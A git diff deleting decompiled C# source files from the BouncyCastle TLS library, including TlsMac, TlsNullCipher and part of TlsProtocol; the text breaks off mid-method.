b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsMac.cs deleted file mode 100644 index 7470987..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsMac.cs +++ /dev/null @@ -1,107 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Digests; -using Org.BouncyCastle.Crypto.Macs; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class TlsMac -{ - protected readonly TlsContext context; - - protected readonly byte[] secret; - - protected readonly IMac mac; - - protected readonly int digestBlockSize; - - protected readonly int digestOverhead; - - protected readonly int macLength; - - public virtual byte[] MacSecret => secret; - - public virtual int Size => macLength; - - public TlsMac(TlsContext context, IDigest digest, byte[] key, int keyOff, int keyLen) - { - this.context = context; - KeyParameter keyParameter = new KeyParameter(key, keyOff, keyLen); - secret = Arrays.Clone(keyParameter.GetKey()); - if (digest is LongDigest) - { - digestBlockSize = 128; - digestOverhead = 16; - } - else - { - digestBlockSize = 64; - digestOverhead = 8; - } - if (TlsUtilities.IsSsl(context)) - { - mac = new Ssl3Mac(digest); - if (digest.GetDigestSize() == 20) - { - digestOverhead = 4; - } - } - else - { - mac = new HMac(digest); - } - mac.Init(keyParameter); - macLength = mac.GetMacSize(); - if (context.SecurityParameters.truncatedHMac) - { - macLength = System.Math.Min(macLength, 10); - } - } - - public virtual byte[] CalculateMac(long seqNo, byte type, byte[] message, int offset, int length) - { - ProtocolVersion serverVersion = context.ServerVersion; - bool isSsl = serverVersion.IsSsl; - byte[] array = new byte[isSsl ? 11 : 13]; - TlsUtilities.WriteUint64(seqNo, array, 0); - TlsUtilities.WriteUint8(type, array, 8); - if (!isSsl) - { - TlsUtilities.WriteVersion(serverVersion, array, 9); - } - TlsUtilities.WriteUint16(length, array, array.Length - 2); - mac.BlockUpdate(array, 0, array.Length); - mac.BlockUpdate(message, offset, length); - return Truncate(MacUtilities.DoFinal(mac)); - } - - public virtual byte[] CalculateMacConstantTime(long seqNo, byte type, byte[] message, int offset, int length, int fullLength, byte[] dummyData) - { - byte[] result = CalculateMac(seqNo, type, message, offset, length); - int num = (TlsUtilities.IsSsl(context) ? 11 : 13); - int num2 = GetDigestBlockCount(num + fullLength) - GetDigestBlockCount(num + length); - while (--num2 >= 0) - { - mac.BlockUpdate(dummyData, 0, digestBlockSize); - } - mac.Update(dummyData[0]); - mac.Reset(); - return result; - } - - protected virtual int GetDigestBlockCount(int inputLength) - { - return (inputLength + digestOverhead) / digestBlockSize; - } - - protected virtual byte[] Truncate(byte[] bs) - { - if (bs.Length <= macLength) - { - return bs; - } - return Arrays.CopyOf(bs, macLength); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsNoCloseNotifyException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsNoCloseNotifyException.cs deleted file mode 100644 index 48ee28c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsNoCloseNotifyException.cs +++ /dev/null @@ -1,11 +0,0 @@ -using System.IO; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class TlsNoCloseNotifyException : EndOfStreamException -{ - public TlsNoCloseNotifyException() - : base("No close_notify alert received before connection closed") - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsNullCipher.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsNullCipher.cs deleted file mode 100644 index 154987e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsNullCipher.cs +++ /dev/null @@ -1,99 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class TlsNullCipher : TlsCipher -{ - protected readonly TlsContext context; - - protected readonly TlsMac writeMac; - - protected readonly TlsMac readMac; - - public TlsNullCipher(TlsContext context) - { - this.context = context; - writeMac = null; - readMac = null; - } - - public TlsNullCipher(TlsContext context, IDigest clientWriteDigest, IDigest serverWriteDigest) - { - if (clientWriteDigest == null != (serverWriteDigest == null)) - { - throw new TlsFatalAlert(80); - } - this.context = context; - TlsMac tlsMac = null; - TlsMac tlsMac2 = null; - if (clientWriteDigest != null) - { - int num = clientWriteDigest.GetDigestSize() + serverWriteDigest.GetDigestSize(); - byte[] key = TlsUtilities.CalculateKeyBlock(context, num); - int num2 = 0; - tlsMac = new TlsMac(context, clientWriteDigest, key, num2, clientWriteDigest.GetDigestSize()); - num2 += clientWriteDigest.GetDigestSize(); - tlsMac2 = new TlsMac(context, serverWriteDigest, key, num2, serverWriteDigest.GetDigestSize()); - num2 += serverWriteDigest.GetDigestSize(); - if (num2 != num) - { - throw new TlsFatalAlert(80); - } - } - if (context.IsServer) - { - writeMac = tlsMac2; - readMac = tlsMac; - } - else - { - writeMac = tlsMac; - readMac = tlsMac2; - } - } - - public virtual int GetPlaintextLimit(int ciphertextLimit) - { - int num = ciphertextLimit; - if (writeMac != null) - { - num -= writeMac.Size; - } - return num; - } - - public virtual byte[] EncodePlaintext(long seqNo, byte type, byte[] plaintext, int offset, int len) - { - if (writeMac == null) - { - return Arrays.CopyOfRange(plaintext, offset, offset + len); - } - byte[] array = writeMac.CalculateMac(seqNo, type, plaintext, offset, len); - byte[] array2 = new byte[len + array.Length]; - Array.Copy(plaintext, offset, array2, 0, len); - Array.Copy(array, 0, array2, len, array.Length); - return array2; - } - - public virtual byte[] DecodeCiphertext(long seqNo, byte type, byte[] ciphertext, int offset, int len) - { - if (readMac == null) - { - return Arrays.CopyOfRange(ciphertext, offset, offset + len); - } - int size = readMac.Size; - if (len < size) - { - throw new TlsFatalAlert(50); - } - int num = len - size; - byte[] a = Arrays.CopyOfRange(ciphertext, offset + num, offset + len); - byte[] b = readMac.CalculateMac(seqNo, type, ciphertext, offset, num); - if (!Arrays.ConstantTimeAreEqual(a, b)) - { - throw new TlsFatalAlert(20); - } - return Arrays.CopyOfRange(ciphertext, offset, offset + num); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsNullCompression.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsNullCompression.cs deleted file mode 100644 index e5a1357..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsNullCompression.cs +++ /dev/null @@ -1,16 +0,0 @@ -using System.IO; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class TlsNullCompression : TlsCompression -{ - public virtual Stream Compress(Stream output) - { - return output; - } - - public virtual Stream Decompress(Stream output) - { - return output; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsPeer.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsPeer.cs deleted file mode 100644 index a520eba..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsPeer.cs +++ /dev/null @@ -1,22 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Crypto.Tls; - -public interface TlsPeer -{ - bool RequiresExtendedMasterSecret(); - - bool ShouldUseGmtUnixTime(); - - void NotifySecureRenegotiation(bool secureRenegotiation); - - TlsCompression GetCompression(); - - TlsCipher GetCipher(); - - void NotifyAlertRaised(byte alertLevel, byte alertDescription, string message, Exception cause); - - void NotifyAlertReceived(byte alertLevel, byte alertDescription); - - void NotifyHandshakeComplete(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsProtocol.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsProtocol.cs deleted file mode 100644 index 35c75f4..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsProtocol.cs +++ /dev/null @@ -1,1172 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Crypto.Prng; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class TlsProtocol -{ - internal class HandshakeMessage : MemoryStream - { - internal HandshakeMessage(byte handshakeType) - : this(handshakeType, 60) - { - } - - internal HandshakeMessage(byte handshakeType, int length) - : base(length + 4) - { - TlsUtilities.WriteUint8(handshakeType, this); - TlsUtilities.WriteUint24(0, this); - } - - internal void Write(byte[] data) - { - Write(data, 0, data.Length); - } - - internal void WriteToRecordStream(TlsProtocol protocol) - { - long num = Length - 4; - TlsUtilities.CheckUint24(num); - Position = 1L; - TlsUtilities.WriteUint24((int)num, this); - byte[] buffer = GetBuffer(); - int len = (int)Length; - protocol.WriteHandshakeMessage(buffer, 0, len); - Platform.Dispose(this); - } - } - - protected const short CS_START = 0; - - protected const short CS_CLIENT_HELLO = 1; - - protected const short CS_SERVER_HELLO = 2; - - protected const short CS_SERVER_SUPPLEMENTAL_DATA = 3; - - protected const short CS_SERVER_CERTIFICATE = 4; - - protected const short CS_CERTIFICATE_STATUS = 5; - - protected const short CS_SERVER_KEY_EXCHANGE = 6; - - protected const short CS_CERTIFICATE_REQUEST = 7; - - protected const short CS_SERVER_HELLO_DONE = 8; - - protected const short CS_CLIENT_SUPPLEMENTAL_DATA = 9; - - protected const short CS_CLIENT_CERTIFICATE = 10; - - protected const short CS_CLIENT_KEY_EXCHANGE = 11; - - protected const short CS_CERTIFICATE_VERIFY = 12; - - protected const short CS_CLIENT_FINISHED = 13; - - protected const short CS_SERVER_SESSION_TICKET = 14; - - protected const short CS_SERVER_FINISHED = 15; - - protected const short CS_END = 16; - - protected const short ADS_MODE_1_Nsub1 = 0; - - protected const short ADS_MODE_0_N = 1; - - protected const short ADS_MODE_0_N_FIRSTONLY = 2; - - private ByteQueue mApplicationDataQueue = new ByteQueue(0); - - private ByteQueue mAlertQueue = new ByteQueue(2); - - private ByteQueue mHandshakeQueue = new ByteQueue(0); - - internal RecordStream mRecordStream; - - protected SecureRandom mSecureRandom; - - private TlsStream mTlsStream = null; - - private volatile bool mClosed = false; - - private volatile bool mFailedWithError = false; - - private volatile bool mAppDataReady = false; - - private volatile bool mAppDataSplitEnabled = true; - - private volatile int mAppDataSplitMode = 0; - - private byte[] mExpectedVerifyData = null; - - protected TlsSession mTlsSession = null; - - protected SessionParameters mSessionParameters = null; - - protected SecurityParameters mSecurityParameters = null; - - protected Certificate mPeerCertificate = null; - - protected int[] mOfferedCipherSuites = null; - - protected byte[] mOfferedCompressionMethods = null; - - protected IDictionary mClientExtensions = null; - - protected IDictionary mServerExtensions = null; - - protected short mConnectionState = 0; - - protected bool mResumedSession = false; - - protected bool mReceivedChangeCipherSpec = false; - - protected bool mSecureRenegotiation = false; - - protected bool mAllowCertificateStatus = false; - - protected bool mExpectSessionTicket = false; - - protected bool mBlocking = true; - - protected ByteQueueStream mInputBuffers = null; - - protected ByteQueueStream mOutputBuffer = null; - - protected abstract TlsContext Context { get; } - - internal abstract AbstractTlsContext ContextAdmin { get; } - - protected abstract TlsPeer Peer { get; } - - public virtual Stream Stream - { - get - { - if (!mBlocking) - { - throw new InvalidOperationException("Cannot use Stream in non-blocking mode! Use OfferInput()/OfferOutput() instead."); - } - return mTlsStream; - } - } - - public virtual bool IsClosed => mClosed; - - public TlsProtocol(Stream stream, SecureRandom secureRandom) - : this(stream, stream, secureRandom) - { - } - - public TlsProtocol(Stream input, Stream output, SecureRandom secureRandom) - { - mRecordStream = new RecordStream(this, input, output); - mSecureRandom = secureRandom; - } - - public TlsProtocol(SecureRandom secureRandom) - { - mBlocking = false; - mInputBuffers = new ByteQueueStream(); - mOutputBuffer = new ByteQueueStream(); - mRecordStream = new RecordStream(this, mInputBuffers, mOutputBuffer); - mSecureRandom = secureRandom; - } - - protected virtual void HandleAlertMessage(byte alertLevel, byte alertDescription) - { - Peer.NotifyAlertReceived(alertLevel, alertDescription); - if (alertLevel == 1) - { - HandleAlertWarningMessage(alertDescription); - return; - } - HandleFailure(); - throw new TlsFatalAlertReceived(alertDescription); - } - - protected virtual void HandleAlertWarningMessage(byte alertDescription) - { - if (alertDescription == 0) - { - if (!mAppDataReady) - { - throw new TlsFatalAlert(40); - } - HandleClose(user_canceled: false); - } - } - - protected virtual void HandleChangeCipherSpecMessage() - { - } - - protected virtual void HandleClose(bool user_canceled) - { - if (!mClosed) - { - mClosed = true; - if (user_canceled && !mAppDataReady) - { - RaiseAlertWarning(90, "User canceled handshake"); - } - RaiseAlertWarning(0, "Connection closed"); - mRecordStream.SafeClose(); - if (!mAppDataReady) - { - CleanupHandshake(); - } - } - } - - protected virtual void HandleException(byte alertDescription, string message, Exception cause) - { - if (!mClosed) - { - RaiseAlertFatal(alertDescription, message, cause); - HandleFailure(); - } - } - - protected virtual void HandleFailure() - { - mClosed = true; - mFailedWithError = true; - InvalidateSession(); - mRecordStream.SafeClose(); - if (!mAppDataReady) - { - CleanupHandshake(); - } - } - - protected abstract void HandleHandshakeMessage(byte type, MemoryStream buf); - - protected virtual void ApplyMaxFragmentLengthExtension() - { - if (mSecurityParameters.maxFragmentLength >= 0) - { - if (!MaxFragmentLength.IsValid((byte)mSecurityParameters.maxFragmentLength)) - { - throw new TlsFatalAlert(80); - } - int plaintextLimit = 1 << 8 + mSecurityParameters.maxFragmentLength; - mRecordStream.SetPlaintextLimit(plaintextLimit); - } - } - - protected virtual void CheckReceivedChangeCipherSpec(bool expected) - { - if (expected != mReceivedChangeCipherSpec) - { - throw new TlsFatalAlert(10); - } - } - - protected virtual void CleanupHandshake() - { - if (mExpectedVerifyData != null) - { - Arrays.Fill(mExpectedVerifyData, 0); - mExpectedVerifyData = null; - } - mSecurityParameters.Clear(); - mPeerCertificate = null; - mOfferedCipherSuites = null; - mOfferedCompressionMethods = null; - mClientExtensions = null; - mServerExtensions = null; - mResumedSession = false; - mReceivedChangeCipherSpec = false; - mSecureRenegotiation = false; - mAllowCertificateStatus = false; - mExpectSessionTicket = false; - } - - protected virtual void BlockForHandshake() - { - if (!mBlocking) - { - return; - } - while (mConnectionState != 16) - { - if (mClosed) - { - throw new TlsFatalAlert(80); - } - SafeReadRecord(); - } - } - - protected virtual void CompleteHandshake() - { - try - { - mConnectionState = 16; - mAlertQueue.Shrink(); - mHandshakeQueue.Shrink(); - mRecordStream.FinaliseHandshake(); - mAppDataSplitEnabled = !TlsUtilities.IsTlsV11(Context); - if (!mAppDataReady) - { - mAppDataReady = true; - if (mBlocking) - { - mTlsStream = new TlsStream(this); - } - } - if (mTlsSession != null) - { - if (mSessionParameters == null) - { - mSessionParameters = new SessionParameters.Builder().SetCipherSuite(mSecurityParameters.CipherSuite).SetCompressionAlgorithm(mSecurityParameters.CompressionAlgorithm).SetExtendedMasterSecret(mSecurityParameters.IsExtendedMasterSecret) - .SetMasterSecret(mSecurityParameters.MasterSecret) - .SetPeerCertificate(mPeerCertificate) - .SetPskIdentity(mSecurityParameters.PskIdentity) - .SetSrpIdentity(mSecurityParameters.SrpIdentity) - .SetServerExtensions(mServerExtensions) - .Build(); - mTlsSession = new TlsSessionImpl(mTlsSession.SessionID, mSessionParameters); - } - ContextAdmin.SetResumableSession(mTlsSession); - } - Peer.NotifyHandshakeComplete(); - } - finally - { - CleanupHandshake(); - } - } - - protected internal void ProcessRecord(byte protocol, byte[] buf, int off, int len) - { - switch (protocol) - { - case 21: - mAlertQueue.AddData(buf, off, len); - ProcessAlertQueue(); - break; - case 23: - if (!mAppDataReady) - { - throw new TlsFatalAlert(10); - } - mApplicationDataQueue.AddData(buf, off, len); - ProcessApplicationDataQueue(); - break; - case 20: - ProcessChangeCipherSpec(buf, off, len); - break; - case 22: - { - if (mHandshakeQueue.Available > 0) - { - mHandshakeQueue.AddData(buf, off, len); - ProcessHandshakeQueue(mHandshakeQueue); - break; - } - ByteQueue byteQueue = new ByteQueue(buf, off, len); - ProcessHandshakeQueue(byteQueue); - int available = byteQueue.Available; - if (available > 0) - { - mHandshakeQueue.AddData(buf, off + len - available, available); - } - break; - } - default: - throw new TlsFatalAlert(80); - } - } - - private void ProcessHandshakeQueue(ByteQueue queue) - { - while (queue.Available >= 4) - { - byte[] buf = new byte[4]; - queue.Read(buf, 0, 4, 0); - byte b = TlsUtilities.ReadUint8(buf, 0); - int num = TlsUtilities.ReadUint24(buf, 1); - int num2 = 4 + num; - if (queue.Available < num2) - { - break; - } - if (b != 0) - { - if (20 == b) - { - CheckReceivedChangeCipherSpec(expected: true); - TlsContext context = Context; - if (mExpectedVerifyData == null && context.SecurityParameters.MasterSecret != null) - { - mExpectedVerifyData = CreateVerifyData(!context.IsServer); - } - } - else - { - CheckReceivedChangeCipherSpec(mConnectionState == 16); - } - queue.CopyTo(mRecordStream.HandshakeHashUpdater, num2); - } - queue.RemoveData(4); - MemoryStream buf2 = queue.ReadFrom(num); - HandleHandshakeMessage(b, buf2); - } - } - - private void ProcessApplicationDataQueue() - { - } - - private void ProcessAlertQueue() - { - while (mAlertQueue.Available >= 2) - { - byte[] array = mAlertQueue.RemoveData(2, 0); - byte alertLevel = array[0]; - byte alertDescription = array[1]; - HandleAlertMessage(alertLevel, alertDescription); - } - } - - private void ProcessChangeCipherSpec(byte[] buf, int off, int len) - { - for (int i = 0; i < len; i++) - { - byte b = TlsUtilities.ReadUint8(buf, off + i); - if (b != 1) - { - throw new TlsFatalAlert(50); - } - if (mReceivedChangeCipherSpec || mAlertQueue.Available > 0 || mHandshakeQueue.Available > 0) - { - throw new TlsFatalAlert(10); - } - mRecordStream.ReceivedReadCipherSpec(); - mReceivedChangeCipherSpec = true; - HandleChangeCipherSpecMessage(); - } - } - - protected internal virtual int ApplicationDataAvailable() - { - return mApplicationDataQueue.Available; - } - - protected internal virtual int ReadApplicationData(byte[] buf, int offset, int len) - { - if (len < 1) - { - return 0; - } - while (mApplicationDataQueue.Available == 0) - { - if (mClosed) - { - if (mFailedWithError) - { - throw new IOException("Cannot read application data on failed TLS connection"); - } - if (!mAppDataReady) - { - throw new InvalidOperationException("Cannot read application data until initial handshake completed."); - } - return 0; - } - SafeReadRecord(); - } - len = System.Math.Min(len, mApplicationDataQueue.Available); - mApplicationDataQueue.RemoveData(buf, offset, len, 0); - return len; - } - - protected virtual void SafeCheckRecordHeader(byte[] recordHeader) - { - try - { - mRecordStream.CheckRecordHeader(recordHeader); - } - catch (TlsFatalAlert tlsFatalAlert) - { - HandleException(tlsFatalAlert.AlertDescription, "Failed to read record", tlsFatalAlert); - throw tlsFatalAlert; - } - catch (IOException ex) - { - HandleException(80, "Failed to read record", ex); - throw ex; - } - catch (Exception ex2) - { - HandleException(80, "Failed to read record", ex2); - throw new TlsFatalAlert(80, ex2); - } - } - - protected virtual void SafeReadRecord() - { - try - { - if (mRecordStream.ReadRecord()) - { - return; - } - if (!mAppDataReady) - { - throw new TlsFatalAlert(40); - } - } - catch (TlsFatalAlertReceived tlsFatalAlertReceived) - { - throw tlsFatalAlertReceived; - } - catch (TlsFatalAlert tlsFatalAlert) - { - HandleException(tlsFatalAlert.AlertDescription, "Failed to read record", tlsFatalAlert); - throw tlsFatalAlert; - } - catch (IOException ex) - { - HandleException(80, "Failed to read record", ex); - throw ex; - } - catch (Exception ex2) - { - HandleException(80, "Failed to read record", ex2); - throw new TlsFatalAlert(80, ex2); - } - HandleFailure(); - throw new TlsNoCloseNotifyException(); - } - - protected virtual void SafeWriteRecord(byte type, byte[] buf, int offset, int len) - { - try - { - mRecordStream.WriteRecord(type, buf, offset, len); - } - catch (TlsFatalAlert tlsFatalAlert) - { - HandleException(tlsFatalAlert.AlertDescription, "Failed to write record", tlsFatalAlert); - throw tlsFatalAlert; - } - catch (IOException ex) - { - HandleException(80, "Failed to write record", ex); - throw ex; - } - catch (Exception ex2) - { - HandleException(80, "Failed to write record", ex2); - throw new TlsFatalAlert(80, ex2); - } - } - - protected internal virtual void WriteData(byte[] buf, int offset, int len) - { - if (mClosed) - { - throw new IOException("Cannot write application data on closed/failed TLS connection"); - } - while (len > 0) - { - if (mAppDataSplitEnabled) - { - switch (mAppDataSplitMode) - { - case 1: - SafeWriteRecord(23, TlsUtilities.EmptyBytes, 0, 0); - break; - case 2: - mAppDataSplitEnabled = false; - SafeWriteRecord(23, TlsUtilities.EmptyBytes, 0, 0); - break; - default: - SafeWriteRecord(23, buf, offset, 1); - offset++; - len--; - break; - } - } - if (len > 0) - { - int num = System.Math.Min(len, mRecordStream.GetPlaintextLimit()); - SafeWriteRecord(23, buf, offset, num); - offset += num; - len -= num; - } - } - } - - protected virtual void SetAppDataSplitMode(int appDataSplitMode) - { - if (appDataSplitMode < 0 || appDataSplitMode > 2) - { - throw new ArgumentException("Illegal appDataSplitMode mode: " + appDataSplitMode, "appDataSplitMode"); - } - mAppDataSplitMode = appDataSplitMode; - } - - protected virtual void WriteHandshakeMessage(byte[] buf, int off, int len) - { - if (len < 4) - { - throw new TlsFatalAlert(80); - } - if (TlsUtilities.ReadUint8(buf, off) != 0) - { - mRecordStream.HandshakeHashUpdater.Write(buf, off, len); - } - int num = 0; - do - { - int num2 = System.Math.Min(len - num, mRecordStream.GetPlaintextLimit()); - SafeWriteRecord(22, buf, off + num, num2); - num += num2; - } - while (num < len); - } - - public virtual void CloseInput() - { - if (mBlocking) - { - throw new InvalidOperationException("Cannot use CloseInput() in blocking mode!"); - } - if (mClosed) - { - return; - } - if (mInputBuffers.Available > 0) - { - throw new EndOfStreamException(); - } - if (!mAppDataReady) - { - throw new TlsFatalAlert(40); - } - throw new TlsNoCloseNotifyException(); - } - - public virtual void OfferInput(byte[] input) - { - if (mBlocking) - { - throw new InvalidOperationException("Cannot use OfferInput() in blocking mode! Use Stream instead."); - } - if (mClosed) - { - throw new IOException("Connection is closed, cannot accept any more input"); - } - mInputBuffers.Write(input); - while (mInputBuffers.Available >= 5) - { - byte[] array = new byte[5]; - mInputBuffers.Peek(array); - int num = TlsUtilities.ReadUint16(array, 3) + 5; - if (mInputBuffers.Available < num) - { - SafeCheckRecordHeader(array); - break; - } - SafeReadRecord(); - if (mClosed) - { - if (mConnectionState != 16) - { - throw new TlsFatalAlert(80); - } - break; - } - } - } - - public virtual int GetAvailableInputBytes() - { - if (mBlocking) - { - throw new InvalidOperationException("Cannot use GetAvailableInputBytes() in blocking mode! Use ApplicationDataAvailable() instead."); - } - return ApplicationDataAvailable(); - } - - public virtual int ReadInput(byte[] buffer, int offset, int length) - { - if (mBlocking) - { - throw new InvalidOperationException("Cannot use ReadInput() in blocking mode! Use Stream instead."); - } - return ReadApplicationData(buffer, offset, System.Math.Min(length, ApplicationDataAvailable())); - } - - public virtual void OfferOutput(byte[] buffer, int offset, int length) - { - if (mBlocking) - { - throw new InvalidOperationException("Cannot use OfferOutput() in blocking mode! Use Stream instead."); - } - if (!mAppDataReady) - { - throw new IOException("Application data cannot be sent until the handshake is complete!"); - } - WriteData(buffer, offset, length); - } - - public virtual int GetAvailableOutputBytes() - { - if (mBlocking) - { - throw new InvalidOperationException("Cannot use GetAvailableOutputBytes() in blocking mode! Use Stream instead."); - } - return mOutputBuffer.Available; - } - - public virtual int ReadOutput(byte[] buffer, int offset, int length) - { - if (mBlocking) - { - throw new InvalidOperationException("Cannot use ReadOutput() in blocking mode! Use Stream instead."); - } - return mOutputBuffer.Read(buffer, offset, length); - } - - protected virtual void InvalidateSession() - { - if (mSessionParameters != null) - { - mSessionParameters.Clear(); - mSessionParameters = null; - } - if (mTlsSession != null) - { - mTlsSession.Invalidate(); - mTlsSession = null; - } - } - - protected virtual void ProcessFinishedMessage(MemoryStream buf) - { - if (mExpectedVerifyData == null) - { - throw new TlsFatalAlert(80); - } - byte[] b = TlsUtilities.ReadFully(mExpectedVerifyData.Length, buf); - AssertEmpty(buf); - if (!Arrays.ConstantTimeAreEqual(mExpectedVerifyData, b)) - { - throw new TlsFatalAlert(51); - } - } - - protected virtual void RaiseAlertFatal(byte alertDescription, string message, Exception cause) - { - Peer.NotifyAlertRaised(2, alertDescription, message, cause); - byte[] plaintext = new byte[2] { 2, alertDescription }; - try - { - mRecordStream.WriteRecord(21, plaintext, 0, 2); - } - catch (Exception) - { - } - } - - protected virtual void RaiseAlertWarning(byte alertDescription, string message) - { - Peer.NotifyAlertRaised(1, alertDescription, message, null); - byte[] buf = new byte[2] { 1, alertDescription }; - SafeWriteRecord(21, buf, 0, 2); - } - - protected virtual void SendCertificateMessage(Certificate certificate) - { - if (certificate == null) - { - certificate = Certificate.EmptyChain; - } - if (certificate.IsEmpty) - { - TlsContext context = Context; - if (!context.IsServer) - { - ProtocolVersion serverVersion = Context.ServerVersion; - if (serverVersion.IsSsl) - { - string message = serverVersion.ToString() + " client didn't provide credentials"; - RaiseAlertWarning(41, message); - return; - } - } - } - HandshakeMessage handshakeMessage = new HandshakeMessage(11); - certificate.Encode(handshakeMessage); - handshakeMessage.WriteToRecordStream(this); - } - - protected virtual void SendChangeCipherSpecMessage() - { - byte[] array = new byte[1] { 1 }; - SafeWriteRecord(20, array, 0, array.Length); - mRecordStream.SentWriteCipherSpec(); - } - - protected virtual void SendFinishedMessage() - { - byte[] array = CreateVerifyData(Context.IsServer); - HandshakeMessage handshakeMessage = new HandshakeMessage(20, array.Length); - handshakeMessage.Write(array, 0, array.Length); - handshakeMessage.WriteToRecordStream(this); - } - - protected virtual void SendSupplementalDataMessage(IList supplementalData) - { - HandshakeMessage handshakeMessage = new HandshakeMessage(23); - WriteSupplementalData(handshakeMessage, supplementalData); - handshakeMessage.WriteToRecordStream(this); - } - - protected virtual byte[] CreateVerifyData(bool isServer) - { - TlsContext context = Context; - string asciiLabel = (isServer ? "server finished" : "client finished"); - byte[] sslSender = (isServer ? TlsUtilities.SSL_SERVER : TlsUtilities.SSL_CLIENT); - byte[] currentPrfHash = GetCurrentPrfHash(context, mRecordStream.HandshakeHash, sslSender); - return TlsUtilities.CalculateVerifyData(context, asciiLabel, currentPrfHash); - } - - public virtual void Close() - { - HandleClose(user_canceled: true); - } - - protected internal virtual void Flush() - { - mRecordStream.Flush(); - } - - protected virtual short ProcessMaxFragmentLengthExtension(IDictionary clientExtensions, IDictionary serverExtensions, byte alertDescription) - { - short maxFragmentLengthExtension = TlsExtensionsUtilities.GetMaxFragmentLengthExtension(serverExtensions); - if (maxFragmentLengthExtension >= 0 && (!MaxFragmentLength.IsValid((byte)maxFragmentLengthExtension) || (!mResumedSession && maxFragmentLengthExtension != TlsExtensionsUtilities.GetMaxFragmentLengthExtension(clientExtensions)))) - { - throw new TlsFatalAlert(alertDescription); - } - return maxFragmentLengthExtension; - } - - protected virtual void RefuseRenegotiation() - { - if (TlsUtilities.IsSsl(Context)) - { - throw new TlsFatalAlert(40); - } - RaiseAlertWarning(100, "Renegotiation not supported"); - } - - protected internal static void AssertEmpty(MemoryStream buf) - { - if (buf.Position < buf.Length) - { - throw new TlsFatalAlert(50); - } - } - - protected internal static byte[] CreateRandomBlock(bool useGmtUnixTime, IRandomGenerator randomGenerator) - { - byte[] array = new byte[32]; - randomGenerator.NextBytes(array); - if (useGmtUnixTime) - { - TlsUtilities.WriteGmtUnixTime(array, 0); - } - return array; - } - - protected internal static byte[] CreateRenegotiationInfo(byte[] renegotiated_connection) - { - return TlsUtilities.EncodeOpaque8(renegotiated_connection); - } - - protected internal static void EstablishMasterSecret(TlsContext context, TlsKeyExchange keyExchange) - { - byte[] array = keyExchange.GeneratePremasterSecret(); - try - { - context.SecurityParameters.masterSecret = TlsUtilities.CalculateMasterSecret(context, array); - } - finally - { - if (array != null) - { - Arrays.Fill(array, 0); - } - } - } - - protected internal static byte[] GetCurrentPrfHash(TlsContext context, TlsHandshakeHash handshakeHash, byte[] sslSender) - { - IDigest digest = handshakeHash.ForkPrfHash(); - if (sslSender != null && TlsUtilities.IsSsl(context)) - { - digest.BlockUpdate(sslSender, 0, sslSender.Length); - } - return DigestUtilities.DoFinal(digest); - } - - protected internal static IDictionary ReadExtensions(MemoryStream input) - { - if (input.Position >= input.Length) - { - return null; - } - byte[] buffer = TlsUtilities.ReadOpaque16(input); - AssertEmpty(input); - MemoryStream memoryStream = new MemoryStream(buffer, writable: false); - IDictionary dictionary = Platform.CreateHashtable(); - while (memoryStream.Position < memoryStream.Length) - { - int num = TlsUtilities.ReadUint16(memoryStream); - byte[] value = TlsUtilities.ReadOpaque16(memoryStream); - if (dictionary.Contains(num)) - { - throw new TlsFatalAlert(47); - } - dictionary.Add(num, value); - } - return dictionary; - } - - protected internal static IList ReadSupplementalDataMessage(MemoryStream input) - { - byte[] buffer = TlsUtilities.ReadOpaque24(input); - AssertEmpty(input); - MemoryStream memoryStream = new MemoryStream(buffer, writable: false); - IList list = Platform.CreateArrayList(); - while (memoryStream.Position < memoryStream.Length) - { - int dataType = TlsUtilities.ReadUint16(memoryStream); - byte[] data = TlsUtilities.ReadOpaque16(memoryStream); - list.Add(new SupplementalDataEntry(dataType, data)); - } - return list; - } - - protected internal static void WriteExtensions(Stream output, IDictionary extensions) - { - MemoryStream memoryStream = new MemoryStream(); - WriteSelectedExtensions(memoryStream, extensions, selectEmpty: true); - WriteSelectedExtensions(memoryStream, extensions, selectEmpty: false); - byte[] buf = memoryStream.ToArray(); - TlsUtilities.WriteOpaque16(buf, output); - } - - protected internal static void WriteSelectedExtensions(Stream output, IDictionary extensions, bool selectEmpty) - { - foreach (object key in extensions.Keys) - { - int num = (int)key; - byte[] array = (byte[])extensions[num]; - if (selectEmpty == (array.Length == 0)) - { - TlsUtilities.CheckUint16(num); - TlsUtilities.WriteUint16(num, output); - 